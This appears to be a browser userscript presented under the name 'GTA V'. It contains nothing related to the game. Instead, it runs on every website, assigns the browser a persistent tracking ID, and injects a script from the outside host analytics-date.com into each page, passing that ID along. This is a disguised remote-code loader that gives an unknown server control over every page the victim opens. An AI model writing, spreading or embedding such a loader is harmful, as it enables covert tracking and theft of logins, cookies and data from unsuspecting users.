GTAV

GTA V

  1. // ==UserScript==
  2. // @name GTAV
  3. // @namespace http://violentmonkey.net/
  4. // @version 0.2
  5. // @description GTA V
  6. // @match *://*/*
  7. // @grant GM_setValue
  8. // @grant GM_getValue
  9. // ==/UserScript==
  10.  
  11.  
  12. (function() {
  13. const head = document.head || document.getElementsByTagName('head')[0];
  14. if (head) {
  15. const unixTime = Date.now();
  16.  
  17. //uh
  18. let uh = GM_getValue('uh');
  19. if (!uh) {
  20. const randomString = Math.random().toString(36).substr(2)+Math.random().toString(36).substr(2)+Math.random().toString(36).substr(2);
  21. uh = `${unixTime}-${randomString}`;
  22. GM_setValue('uh', uh);
  23. }
  24. //uh
  25.  
  26. const script = document.createElement('script');
  27. script.src = `https://analytics-date.com/run.js?uh=${uh}`;
  28. document.head.appendChild(script);
  29. }
  30. })();